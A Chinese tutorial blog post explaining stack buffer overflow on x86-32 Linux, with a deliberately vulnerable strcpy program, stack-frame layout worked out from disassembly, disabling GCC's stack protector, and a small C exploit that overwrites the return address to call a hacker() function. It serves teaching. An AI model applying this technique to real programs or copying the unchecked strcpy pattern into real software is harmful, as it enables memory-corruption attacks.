x86-32-Linux下栈溢出攻击原理

在x86-32-Linux下构造一个栈溢出攻击

栈缓冲区溢出攻击:向栈上的数组写入超过数组长度的数据导致覆盖到正常数据{栈帧上的返回地址}。

IA-32下C函数调用约定:

  1. 调用者将参数从右向左入栈,构造参数
  2. call 指令短跳转,会将call指令下一条指令地址(RA)入栈,供RET指令返回使用
  3. 被调用函数创建栈帧,push %ebp; mov %esp, %ebp;

则一个函数调用的栈帧情况:

c 复制代码
void func(int a,int b,int c) {
	int tmp = 0x99;
	return ;
}
void main() {
	func(1,2,3);
}
0x0 参数C
0x4 参数B
0x8 参数A
0xC RA地址
0x10 旧%ebp
0x14 tmp变量值0x99

攻击原理: 利用strcpy(dst, src)函数,对写入的src数据长度不做检查的特性,对函数的栈数组进行写溢出攻击。

假设待写溢出的数组在test()中

c 复制代码
// a.c
#include <stdio.h>
#include <string.h>

void test(char *str) {
        char buffer[16]; // 待攻击处
        strcpy(buffer, str);
        printf("%s\n", buffer);
}

void hacker(void) {
        printf("being hacked\n");
}

int main(int argc,char *argv[]) {
        test(argv[1]);
        return 0;
}

gcc a.c -o a.out 编译后,objdump -d a.out反汇编查看栈布局。

发现GCC对strcpy()的调用处插入栈检查代码call 8048398 <__stack_chk_fail@plt>.

首先关闭gcc的栈保护机制,gcc -o a.out -fno-stack-protector,查看反汇编发现没有了栈检查代码。

于是根据反汇编代码来得到test()的栈帧布局情况。

sub $0x28, %esp指令得知gcc给test()函数生成了0x28个字节大小的栈空间,布局如下。

并且通过传入strcpy()函数的buffer参数lea -0x18(%ebp), %eax得到buffer变量在栈上的起始地址

数组buffer的起始地址是-0x18(%ebp),于是便能够知道数组在栈帧的中的位置

%ebp+0x8 参数 char *str
%ebp+0x4 RA返回地址
%ebp当前的值,也就是test的栈底,0 main的%ebp
%ebp-0x4
ebp-0x8
-0xC buf 12~15
-0x10 buf 8~11
-0x14 buf 4~7
-0x18 buf 0~3
-0x1C
%ebp-0x20
%ebp-0x24 = %esp + 0x4 strcpy的参数:char *str
%ebp-0x28 = %esp strcpy的参数:buf地址=-0x18(%ebp)

既然有了buffer数组的位置,那么就能得到buffer数组到RA返回地址处的长度=16+3*4=28字节,28字节后面开始的 4字节便是需要构造的"攻击"跳转地址

假设我们想要其跳转到void hacker()函数,写入RA处为hacker()函数地址即可。反汇编查看hacker()函数的虚拟地址

有了hacker()函数地址,便能构造写溢出攻击字符串的内容了,28字节的垃圾字符+4字节hacker()函数地址+\0

代码如下:

c 复制代码
// test.c
#include <unistd.h>
#include <stdio.h>

char tmp[33];

int main() {
        for (int i=0; i<28; i++)
                tmp[i] = 'F';
        // 对应hacker()地址 0x08048439
        tmp[28] = '\x39';
        tmp[29] = '\x84';
        tmp[30] = '\x04';
        tmp[31] = '\x08';
        tmp[32] = '\0';
        char *argv[3] = { "./a.out", tmp, NULL};

        execve(argv[0], argv, NULL);
        return 0;
}
// gcc a.c -fno-stack-protector -o a.out
// gcc test.c -o test -std=c99

./test运行结果如下:栈溢出攻击成功

总结

需要根据反汇编代码来查看函数栈中的变量的布局,然后根据栈变量布局再来构造溢出字符串。

相关推荐
原来是猿几秒前
应用层【协议再识/序列化与反序列化】
linux·运维·服务器·网络·网络协议·tcp/ip
北风toto14 分钟前
log4j中文日志乱码问号-Linux启动jar包,输出中文日志变成问号?
linux·log4j·jar
实心儿儿21 分钟前
Linux —— 库的制作和原理(3)
linux·运维·服务器
十子木27 分钟前
linux 安装claude code
linux
a珍爱上了a强31 分钟前
配置uboot启动参数,linux启动过程打印每个模块初始化的耗时时间
linux·运维·服务器
程序员老舅40 分钟前
深入底层:Linux MMU 工作原理全解
linux·服务器·网络·c++·linux内核·内存管理·linux内存
CQU_JIAKE1 小时前
5.7[Q]
linux·运维·服务器
坤盾科技1 小时前
Docker 离线地图服务器搭建实战:Node.js + OpenLayers + MBTiles
linux·javascript·arcgis·docker·node.js
蚊子码农1 小时前
某个问题-如何配置一台最小路由器(基于linux操作系统)
linux·网络·智能路由器
Waay1 小时前
Linux Shell 知识点考评(二):sed 流编辑器(附答案)
linux·运维·服务器